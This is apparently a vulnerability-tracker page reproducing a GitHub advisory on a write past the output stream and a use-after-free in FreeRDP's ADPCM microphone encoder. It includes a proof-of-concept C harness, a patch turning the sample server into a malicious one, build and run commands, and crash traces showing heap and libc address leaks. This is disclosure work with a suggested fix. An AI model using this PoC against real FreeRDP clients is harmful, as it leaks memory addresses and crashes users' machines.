Write past output stream and use-after-free in FreeRDP ADPCM encoder
Key facts
- Attack vector
- Network
- Privileges required
- None
- User interaction
- Required
- Attack complexity
- High
- Impact type
- —
- Confidentiality · integrity · availability
- Low · None · High
- Fix status
- Fixed
Attack profile from CVSS 3.1 · GHSA-8jhq-738h-2cjp. Fix status from GitHub.
Summary
FreeRDP from 3.0.0 up to and including 3.33.1 has a flaw in the IMA ADPCM encoder function freerdp_dsp_encode_ima_adpcm(). The output stream is not reserved for the full size of the packets written to it, so writes can go past its end, and a buffer pointer is read after the buffer may have been reallocated, which is a use-after-free. A malicious RDP server can trigger this through the microphone audio input channel when the client is built with the experimental DSP option and the user enables /microphone.
Written with Claude Haiku 5.5 from the sources below · 2026-12-04
Description from the GitHub advisory
### Summary - Commit [6c98f23c1](https://github.com/FreeRDP/FreeRDP/commit/6c98f23c173dce0d70d0a617d28d9f31ffbb8fbe) (ANT-2026-7QCIKM4M, merged with #14314) was meant to fix a write past the output stream in `freerdp_dsp_encode_ima_adpcm()`. - **The write is still there.** The fix reserves space in the wrong stream. - **The fix adds a use-after-free read.** It takes a buffer pointer, reallocates that buffer, then reads through the old pointer. - **Who:** a malicious RDP server, through the microphone (audio input) channel. - **Needs:** a client built with `-DWITH_DSP_EXPERIMENTAL=ON` and `-DWITH_FFMPEG=OFF`, and `/microphone` enabled by the user. Clients built with default options are not affected (confirmed by running them). - **Where:** master `81515ba7` (2026-11-27). The use-after-free is on master only; no release contains 6c98f23c1. Result in an affected client: | | `WITH_VERBOSE_WINPR_ASSERT=ON` (default) | Assertions compiled out | |---|---|---| | Write past the output stream | client aborts | heap corruption, then abort or crash | | Use-after-free read | client keeps running and sends 16 bytes of freed memory to the server (a heap or libc address) | same | ### Details Links are to commit `81515ba765b08ffcedd63445faad4eecce819cb4`. Function: [`freerdp_dsp_encode_ima_adpcm()`](https://github.com/FreeRDP/FreeRDP/blob/81515ba765b08ffcedd63445faad4eecce819cb4/libfreerdp/codec/dsp.c#L1005-L1081). ```c if (!Stream_EnsureRemainingCapacity(out, size)) /* L1011: room for the input size only */ return FALSE; ... if (Stream_GetPosition(context->common.buffer) >= context->adpcm.ima.packet_size) { const BYTE* bsrc = Stream_Buffer(context->common.buffer); /* L1071: pointer taken */ if (!Stream_EnsureRemainingCapacity(context->common.buffer, context->adpcm.ima.packet_size)) /* L1072: may reallocate (added by the fix) */ return FALSE; Stream_Write(out, bsrc, context->adpcm.ima.packet_size); /* L1075: reads the old pointer, writes packet_size bytes */ Stream_ResetPosition(context->common.buffer); } ``` **Write past `out`** - `out` has room for `size` bytes (the input). Each completed packet writes `packet_size` bytes. Nothing reserves that. - `packet_size` comes from the server: `nBlockAlign`, `wBitsPerSample`, `nChannels` and `FramesPerPacket` ([computed here](https://github.com/FreeRDP/FreeRDP/blob/81515ba765b08ffcedd63445faad4eecce819cb4/libfreerdp/codec/dsp.c#L1799-L1822)). - With one channel and `nBlockAlign` 5, every 4 input bytes become 5 output bytes. The output is 1.25 times the input. **Use-after-free read** - L1071 takes `bsrc`. L1072 can reallocate the buffer. L1075 reads through the old `bsrc`. - The internal buffer [starts at 1024 bytes](https://github.com/FreeRDP/FreeRDP/blob/81515ba765b08ffcedd63445faad4eecce819cb4/libfreerdp/codec/dsp.c#L1950) and [grows in 4096-byte steps](https://github.com/FreeRDP/FreeRDP/blob/81515ba765b08ffcedd63445faad4eecce819cb4/winpr/libwinpr/utils/stream.c#L85-L92). - L1072 reallocates when `position + packet_size` exceeds the capacity. Example: `packet_size` 830 gives 830 + 830 > 1024, so the first packet triggers it. **Path from the server** 1. The server offers `WAVE_FORMAT_DVI_ADPCM`. [`audin_process_formats()`](https://github.com/FreeRDP/FreeRDP/blob/81515ba765b08ffcedd63445faad4eecce819cb4/channels/audin/client/audin_main.c#L277) keeps it only if `freerdp_dsp_supports_format()` returns true. The built-in code [returns true only with `WITH_DSP_EXPERIMENTAL`](https://github.com/FreeRDP/FreeRDP/blob/81515ba765b08ffcedd63445faad4eecce819cb4/libfreerdp/codec/dsp.c#L1688-L1712). With FFmpeg audio the built-in code is not used. 2. The server sends `MSG_SNDIN_OPEN` with `FramesPerPacket`. [Any value below `INT32_MAX` is accepted.](https://github.com/FreeRDP/FreeRDP/blob/81515ba765b08ffcedd63445faad4eecce819cb4/channels/audin/client/audin_main.c#L544-L570) 3. [`audin_open_device()`](https://github.com/FreeRDP/FreeRDP/blob/81515ba765b08ffcedd63445faad4eecce819cb4/channels/audin/client/audin_main.c#L522) resets the encoder with the server's values. 4. Captured audio goes through [`audin_receive_wave_data()`](https://github.com/FreeRDP/FreeRDP/blob/81515ba765b08ffcedd63445faad4eecce819cb4/channels/audin/client/audin_main.c#L428-L470) and [`audin_send_wave_data()`](https://github.com/FreeRDP/FreeRDP/blob/81515ba765b08ffcedd63445faad4eecce819cb4/channels/audin/client/audin_main.c#L386-L407) to `freerdp_dsp_encode()`. `out` is `audin->data`, [a 4096-byte stream](https://github.com/FreeRDP/FreeRDP/blob/81515ba765b08ffcedd63445faad4eecce819cb4/channels/audin/client/audin_main.c#L1159). **Suggested fix** Reserve `out`, and take the pointer after the reservation: ```diff if (Stream_GetPosition(context->common.buffer) >= context->adpcm.ima.packet_size) { - const BYTE* bsrc = Stream_Buffer(context->common.buffer); - if (!Stream_EnsureRemainingCapacity(context->common.buffer, - context->adpcm.ima.packet_size)) + if (!Stream_EnsureRemainingCapacity(out, context->adpcm.ima.packet_size)) return FALSE; + const BYTE* bsrc = Stream_Buffer(context->common.buffer); Stream_Write(out, bsrc, context->adpcm.ima.packet_size); Stream_ResetPosition(context->common.buffer); } ``` Result with the patch on `81515ba7`: - ASan builds (assertions on and off): no report for the use-after-free inputs or for `FramesPerPacket` 16384. - Build without a sanitizer: the first packets are all zero. - The server keeps receiving packets. - Only the one-channel path was run. **Affected versions** - Use-after-free read: master since 6c98f23c1 (2026-11-24). Not in 3.33.1 or earlier. - Write past the output stream: run on master before the fix (`64b341de7`) and after it (`81515ba7`). The same code is in 3.0.0, 3.20.0, 3.32.0 and 3.33.1 (read, not run). ### Proof of concept Environment: Debian 12 (bookworm) container, aarch64, clang 14.0.6, CMake 3.25.1, glibc 2.36. Source: master `81515ba7`. **1. Library API** `poc.c` calls `freerdp_dsp_context_reset()` and `freerdp_dsp_encode()` the way `audin_send_wave_data()` does. - Input: silence. Format: `WAVE_FORMAT_DVI_ADPCM`, one channel. - Arguments: `nBlockAlign wBitsPerSample FramesPerPacket bytes-per-call calls`. - Build the library with `-DWITH_FFMPEG=OFF`. <details><summary>poc.c</summary> ```c /* Calls the IMA ADPCM encoder the way channels/audin/client/audin_main.c (audin_send_wave_data) does. * * poc <nBlockAlign> <wBitsPerSample> <FramesPerPacket> <bytes per call> <calls> * * The first three numbers are what the server chooses (sound format and MSG_SNDIN_OPEN); "bytes per call" is * 2 * FramesPerPacket in the client (one packet of 16-bit mono capture). The input is silence. * Needs a library built without FFmpeg audio (-DWITH_FFMPEG=OFF), so that the built-in encoder is used. */ #include <stdio.h> #include <stdlib.h> #include <winpr/stream.h> #include <freerdp/codec/audio.h> #include <freerdp/codec/dsp.h> int main(int argc, char** argv) { if (argc != 6) { (void)fprintf(stderr, "usage: %s <nBlockAlign> <wBitsPerSample> <FramesPerPacket> <bytes per call> <calls>\n", argv[0]); return 2; } AUDIO_FORMAT selected = { 0 }; /* the format the server selected */ selected.wFormatTag = WAVE_FORMAT_DVI_ADPCM; selected.nChannels = 1; selected.nSamplesPerSec = 22050; selected.nBlockAlign = (UINT16)strtoul(argv[1], NULL, 10); selected.wBitsPerSample = (UINT16)strtoul(argv[2], NULL, 10); const UINT32 frames = (UINT32)strtoul(argv[3], NULL, 10); const size_t size = strtoul(argv[4], NULL, 10); const unsigned long calls = strtoul(argv[5], NULL, 10); AUDIO_FORMAT capture = { 0 }; /* what the capture device delivers */ capture.wFormatTag = WAVE_FORMAT_PCM; capture.nChannels = 1; capture.nSamplesPerSec = 22050; capture.wBitsPerSample = 16; capture.nBlockAlign = 2; capture.nAvgBytesPerSec = 44100; FREERDP_DSP_CONTEXT* dsp = freerdp_dsp_context_new(TRUE); wStream* out = Stream_New(NULL, 4096); /* audin->data */ BYTE* silence = calloc(1, size ? size : 1); if (!dsp || !out || !silence) return 2; if (!freerdp_dsp_context_reset(dsp, &selected, frames)) { (void)printf("freerdp_dsp_context_reset refused the format\n"); return 3; } for (unsigned long i = 1; i <= calls; i++) { Stream_ResetPosition(out); Stream_Write_UINT8(out, 0x06); /* MSG_SNDIN_DATA */ const BOOL ok = freerdp_dsp_encode(dsp, &capture, silence, size, out); const size_t length = Stream_GetPosition(out) - 1; if (length > 0) { size_t nonzero = 0; for (size_t k = 0; k < length; k++) nonzero += (Stream_Buffer(out)[1 + k] != 0) ? 1 : 0; (void)printf("call %lu: %s, %zu bytes to send, %zu of them not zero, first 16:", i, ok ? "ok" : "failed", length, nonzero); for (size_t k = 0; (k < 16) && (k < length); k++) (void)printf(" %02x", Stream_Buffer(out)[1 + k]); (void)printf("\n"); } } free(silence); Stream_Free(out, TRUE); freerdp_dsp_context_free(dsp); return 0; } ``` </details> | Build | Arguments | Result | |---|---|---| | ASan, assertions on | `5 3 441 882 4` | `heap-use-after-free`, READ of size 830, `dsp.c:1075` | | ASan, assertions on | `5 1 441 882 4` (control) | no report | | No sanitizer, assertions on | `5 3 441 882 2` | exit 0. First packet: 13 of 830 bytes are not zero, all in the first 16 (`0c b7 af aa 0a 00 00 00 54 9a ee 2f a8 c9 2c f8`). Second packet: all zero | | No sanitizer, assertions on | `5 1 441 882 2` (control) | exit 0. All packets are zero | | ASan, assertions on | `5 1 16384 32768 1` | abort in `Stream_Write`: `Stream_GetRemainingCapacity(_s) >= _n` | | ASan, assertions compiled out | `5 1 16384 32768 1` | `heap-buffer-overflow`, WRITE of size 10240, `dsp.c:1075` | | No sanitizer, assertions compiled out | `5 1 16384 32768 3` | exit 134 (abort) | | ASan, default options (FFmpeg audio) | `5 3 441 882 4` | reset refuses the format | **2. Client and server** - **Client:** unmodified `sfreerdp`. - **Server:** `sfreerdp-server` with the patch below (three files). The patch: - offers one microphone format (numbers from environment variables); - drives the channel manager so the dynamic channel opens; - prints the length, the number of non-zero bytes and the first bytes of each `MSG_SNDIN_DATA`; - lets `OFFER_FRAMES` replace the fixed `FramesPerPacket = 441`. - **Capture device:** `dev:null`, ALSA's null device (silence). The test machine has no sound card. <details><summary>standin-server.patch</summary> ```diff diff --git a/channels/audin/server/audin.c b/channels/audin/server/audin.c index d368530..9b9e94d 100644 --- a/channels/audin/server/audin.c +++ b/channels/audin/server/audin.c @@ -22,6 +22,8 @@ #include <freerdp/config.h> +#include <stdlib.h> + #include <winpr/crt.h> #include <winpr/assert.h> #include <winpr/synch.h> @@ -785,7 +787,8 @@ static UINT send_open(audin_server* audin) WINPR_ASSERT(audin); - open.FramesPerPacket = 441; + /* stand-in server: the number of frames per packet is the server's to choose; OFFER_FRAMES sets it */ + open.FramesPerPacket = getenv("OFFER_FRAMES") ? (UINT32)strtoul(getenv("OFFER_FRAMES"), nullptr, 10) : 441; open.initialFormat = audin->audin_client_format_idx; open.captureFormat.wFormatTag = WAVE_FORMAT_PCM; open.captureFormat.nChannels = 2; diff --git a/server/Sample/sf_audin.c b/server/Sample/sf_audin.c index 94a721d..74e21af 100644 --- a/server/Sample/sf_audin.c +++ b/server/Sample/sf_audin.c @@ -22,6 +22,8 @@ #include <freerdp/config.h> +#include <stdlib.h> +#include <stdio.h> #include <winpr/assert.h> #include "sfreerdp.h" @@ -42,8 +44,16 @@ static UINT sf_peer_audin_data(WINPR_ATTR_UNUSED audin_server_context* audin, WINPR_ASSERT(audin); WINPR_ASSERT(data); - WLog_WARN(TAG, "not implemented"); - WLog_DBG(TAG, "receive %" PRIuz " bytes.", Stream_Length(data->Data)); + /* stand-in server: show what arrived (length and the first bytes), nothing else is done with it */ + const size_t length = Stream_Length(data->Data); + const BYTE* bytes = Stream_Buffer(data->Data); + char shown[3 * 40 + 1] = { 0 }; + for (size_t i = 0; (i < length) && (i < 40); i++) + (void)snprintf(&shown[3 * i], 4, "%02x ", bytes[i]); + size_t nonzero = 0; + for (size_t i = 0; i < length; i++) + nonzero += (bytes[i] != 0) ? 1 : 0; + WLog_WARN(TAG, "microphone data, %" PRIuz " bytes (%" PRIuz " of them not zero): %s", length, nonzero, shown); return CHANNEL_RC_OK; } @@ -61,7 +71,19 @@ BOOL sf_peer_audin_init(testPeerContext* context) context->audin->Data = sf_peer_audin_data; - return audin_server_set_formats(context->audin, -1, nullptr); + /* stand-in for a server that offers one microphone format of its own choosing and opens the + * channel by itself; OFFER_BLOCK_ALIGN changes the one value for the control run */ + const char* align = getenv("OFFER_BLOCK_ALIGN"); + const char* channels = getenv("OFFER_CHANNELS"); + const char* bits = getenv("OFFER_BITS"); + const AUDIO_FORMAT offered = { .wFormatTag = WAVE_FORMAT_DVI_ADPCM, + .nChannels = (UINT16)(channels ? atoi(channels) : 2), + .nSamplesPerSec = 22050, + .nAvgBytesPerSec = 22050, + .nBlockAlign = (UINT16)(align ? atoi(align) : 8), + .wBitsPerSample = (UINT16)(bits ? atoi(bits) : 4) }; + context->audin_open = TRUE; + return audin_server_set_formats(context->audin, 1, &offered); #else return TRUE; #endif diff --git a/server/Sample/sfreerdp.c b/server/Sample/sfreerdp.c index 59d17c1..ce24af1 100644 --- a/server/Sample/sfreerdp.c +++ b/server/Sample/sfreerdp.c @@ -1302,6 +1302,15 @@ static DWORD WINAPI test_peer_mainloop(LPVOID arg) #if defined(WITH_RDPEUDP_SERVER) if (sf_udp_check_channels(context->vcm, info->udp, context->activated) != TRUE) break; +#else + /* stand-in server: without the UDP option nothing drives the channel manager, so no + * dynamic channel is ever opened */ + if (context->activated && + WTSVirtualChannelManagerIsChannelJoined(context->vcm, DRDYNVC_SVC_CHANNEL_NAME)) + { + if (WTSVirtualChannelManagerCheckFileDescriptor(context->vcm) != TRUE) + break; + } #endif /* Handle dynamic virtual channel initializations */ ``` </details> ``` cmake -GNinja -S . -B build -DCMAKE_BUILD_TYPE=RelWithDebInfo -DCMAKE_C_COMPILER=clang \ -DCMAKE_C_FLAGS="-fsanitize=address,undefined -fno-sanitize=alignment,function,vptr -fno-omit-frame-pointer -g" \ -DWITH_SERVER=ON -DWITH_SAMPLE=ON -DWITH_ALSA=ON -DWITH_FFMPEG=OFF -DWITH_DSP_EXPERIMENTAL=ON \ -DWITH_X11=OFF -DWITH_WAYLAND=OFF -DWITH_CLIENT_SDL=OFF -DWITH_SHADOW=OFF -DWITH_PROXY=OFF ... OFFER_BLOCK_ALIGN=5 OFFER_CHANNELS=1 OFFER_BITS=3 sfreerdp-server --port=13389 --cert=server.crt --key=server.key sfreerdp /v:127.0.0.1:13389 /cert:ignore /u:user /p:pass /sec:tls /microphone:sys:alsa,dev:null ``` | Client build | Server offers | Result | |---|---|---| | ASan, `WITH_FFMPEG=OFF`, `WITH_DSP_EXPERIMENTAL=ON` | bits 3 (packet 830) | 3/3 `heap-use-after-free`, READ of size 830 | | same | bits 1 (packet 280), control | 3/3 no report; about 39,000 packets in 10 s | | ASan, `WITH_FFMPEG=OFF` only | bits 3 | 3/3 format not accepted, no packet | | ASan, default options (FFmpeg) | bits 3 | 3/3 format not accepted, no packet | | ASan, experimental, assertions on | bits 15 (packet 4135) | 3/3 abort on the `Stream_Write` assertion (exit 134) | | ASan, experimental, assertions compiled out | bits 1, `OFFER_FRAMES=16384` | 3/3 `heap-buffer-overflow`, WRITE of size 10240, 4097 bytes past a 36864-byte block | | same | bits 1, `OFFER_FRAMES=441`, control | 3/3 no report | ``` ==103==ERROR: AddressSanitizer: heap-use-after-free on address 0xffffa2c0be80 READ of size 830 at 0xffffa2c0be80 thread T22 #0 __asan_memcpy #1 Stream_Write winpr/include/winpr/stream.h:1192:4 #2 freerdp_dsp_encode_ima_adpcm libfreerdp/codec/dsp.c:1075:4 #3 freerdp_dsp_encode libfreerdp/codec/dsp.c:1566:11 #4 audin_send_wave_data channels/audin/client/audin_main.c:406:8 #5 audin_receive_wave_data channels/audin/client/audin_main.c:465:22 #6 audin_alsa_thread_func channels/audin/client/alsa/audin_alsa.c:238:11 0xffffa2c0be80 is located 0 bytes inside of 1024-byte region freed by thread T22 here: #0 __interceptor_realloc #1 Stream_ResizeToCapacity winpr/libwinpr/utils/stream.c:64:20 #2 freerdp_dsp_encode_ima_adpcm libfreerdp/codec/dsp.c:1072:9 ``` ### Impact **Who is impacted:** users of a client built with `-DWITH_DSP_EXPERIMENTAL=ON` and without FFmpeg audio, who enable microphone redirection and connect to a malicious server. Everything below was run with the client and server above, unless a line says otherwise. **Use-after-free read (CWE-416): address leak** Build without a sanitizer: the client does not stop. The first packet carries bytes of the freed block. | Server offers | First 16 bytes of the first packet | Runs | |---|---|---| | bits 2 or 3 (packet 555 or 830) | 8 bytes: the page number of a heap address. 8 bytes: more allocator data | 11/11 | | bits 8 (packet 2205) | an address inside libc, twice (libc base + 0x1a0b50) | 6/6 | | bits 14 (packet 3860) | nothing (all zero) | 4/4 | | bits 1, control | nothing (all zero) | 6/6 | - Both addresses were checked against the client's own memory map (`/proc/<pid>/maps`), in 3 runs each. - The server chooses the format numbers. That decides which address it gets. - Only these 16 bytes differ from a clean packet. Counted over the whole packet: 13 of 830 and 12 of 2205 bytes are not zero; a clean packet of silence is all zero. **Write past the output stream (CWE-787)** | Client build | Result | |---|---| | Assertions on (default), with or without ASan | client aborts on the `Stream_Write` assertion (12/12) | | Assertions compiled out, ASan | `heap-buffer-overflow` WRITE at `dsp.c:1075` | | Assertions compiled out, no sanitizer | heap corruption (next table) | | Any, `FramesPerPacket` 441 (control) | no report, no allocator error; packets keep arriving | Assertions compiled out, by `FramesPerPacket` (bits 1, `nBlockAlign` 5): | `FramesPerPacket` | Bytes past the block (ASan) | No sanitizer | |---|---|---| | 16384 | 4,097 | client keeps running; glibc prints `free(): invalid pointer` and aborts when the session ends (5/5) | | 28672 | 10,241 | same (3/3). In one earlier run glibc reported `malloc assertion failure in sysmalloc` and the client hung | | 63488 | 27,649 | immediate SIGSEGV (3/3) | | 65536 | none | not run | - The length depends on `FramesPerPacket`, but not monotonically: stream capacities are rounded up. - "Bytes past the block" is computed from the write size and block size in the ASan report. The 28672, 63488 and 65536 ASan rows were run with `poc.c`, once each. - The bytes written are the encoder's output for the captured audio (silence in these runs). The server does not choose them directly. - Whether this can be turned into more than a crash was not examined. **What limits it** - `WITH_DSP_EXPERIMENTAL` is off by default. - Builds with FFmpeg audio do not use this encoder (run: the format is not accepted). - The user has to enable microphone redirection. **Not checked** - x86-64 - a real capture device - Windows, macOS and other capture backends - the two-channel path of the encoder - which distributions build with `WITH_DSP_EXPERIMENTAL=ON` or without assertions
Why it matters now
SSVC decision points
Not available: CISA has not published SSVC decision points for this record.
Affected products
| Vendor | Product | Affected versions | Fixed in | Status | Source |
|---|---|---|---|---|---|
| — | FreeRDP (c) | >= 3.0.0, <= 3.33.1 | 3.34.0 | Patch available | GHSA-8jhq-738h-2cjp |
- FreeRDP (c) Vendor— Affected >= 3.0.0, <= 3.33.1 Fixed in 3.34.0 Patch available GHSA-8jhq-738h-2cjp
Remediation
Upgrade FreeRDP to version 3.34.0.
Written with Claude Haiku 5.5 from the sources below · 2026-12-04
- Fix · GHSA-8jhq-738h-2cjp FreeRDP (c) Fixed in 3.34.0 Advisory →
Timeline
- 2026-12-04 Threatist record created from GHSA-8jhq-738h-2cjp
References
Sources
This product uses the NVD API but is not endorsed or certified by the NVD. Sources and licences